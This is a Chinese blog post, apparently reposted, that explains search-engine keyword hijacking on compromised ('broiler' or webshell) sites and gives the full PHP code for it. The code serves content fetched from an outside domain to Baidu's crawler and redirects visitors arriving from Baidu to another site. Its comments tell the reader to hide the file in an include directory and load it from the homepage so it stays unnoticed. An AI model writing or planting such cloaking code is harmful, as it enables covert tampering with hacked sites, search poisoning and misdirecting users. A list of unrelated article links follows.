zoukankan      html  css  js  c++  java
  • 搜索引擎关键词劫持之php篇(源码与分析)

    摘要:其实原理很简单: 搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断: if(来访者是蜘蛛){ 输出指定内容 } if(用户是从搜索引擎点击进入网站的){ 跳转我们希...

    其实原理很简单:
    搜索引擎关键词劫持的过程实际上就是,修改肉鸡站点(webshell站点)A的首页(希望被搜索引擎收录的页面,一般情况下是首页),使之做出如下判断:

    if(来访者是蜘蛛){
    输出指定内容
    }
    if(用户是从搜索引擎点击进入网站的){
    跳转我们希望跳转的站点B
    }

    所以我们可以达到如下效果:
    针对蜘蛛来说,如果来访者是指定的蜘蛛,那么输出希望让蜘蛛看到的内容,如果来访者不是蜘蛛,则输出希望给正常用户看到的内容。正常用户在浏览器地址栏输入网址访问网站A,看到正常的首页,如果用户点击百度的搜索结果中的链接进入网站A,则跳转我们要做SEO的站点B。
    表达能力有限,说了这么多也不知道大家明白没有。。。
    那好吧,下面我来上代码,大家可能一看就懂了。代码很短,也很容易理解。

    <?php 
    ################################################ 
    # 可以把本文件放在类似inc、include这样的目录中 # 
    # 首页require_once('本文件路径');就可以了 # 
    # 这样会比较隐蔽 # 
    ################################################ 
    if(strpos(strtolower($_SERVER['HTTP_USER_AGENT']),'baiduspider') !== false ) { 
    //判断搜索引擎,这里是百度,可以自行添加蜘蛛 
    /* 
    Header("HTTP/1.1 301 Moved Permanently"); 
    Header("Location: http://www.yunsec.net/"); 
    //这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话... 
    */ 
    $file = file_get_contents('http://www.yunsec.net/forum.php'); 
    echo $file;//输出指定文件内容 
    exit; 
    } 
    //判断来路 
    if(stristr ($_SERVER['HTTP_REFERER'],"baidu.com")) {//如果用户来自baidu.com 
    //Header("HTTP/1.1 301 Moved Permanently");//301跳转,也可以不用301,直接跳转,301状态码主要针对搜索引擎使用 
    Header("Location: http://www.yunsec.net/");//跳转 
    exit; 
    } 
    ?> 
  • 相关阅读:
    Why Choose Jetty?
    Jetty 的工作原理以及与 Tomcat 的比较
    Tomcat设计模式
    Servlet 工作原理解析
    Tomcat 系统架构
    spring boot 打包方式 spring boot 整合mybaits REST services
    wireshark udp 序列号 User Datagram Protocol UDP
    Maven 的聚合(多模块)和 Parent 继承
    缓存策略 半自动化就是mybaitis只支持数据库查出的数据映射到pojo类上,而实体到数据库的映射需要自己编写sql语句实现,相较于hibernate这种完全自动化的框架我更喜欢mybatis
    Mybatis解决sql中like通配符模糊匹配 构造方法覆盖 mybits 增删改
  • 原文地址:https://www.cnblogs.com/xcsn/p/4678453.html
Copyright © 2011-2022 走看看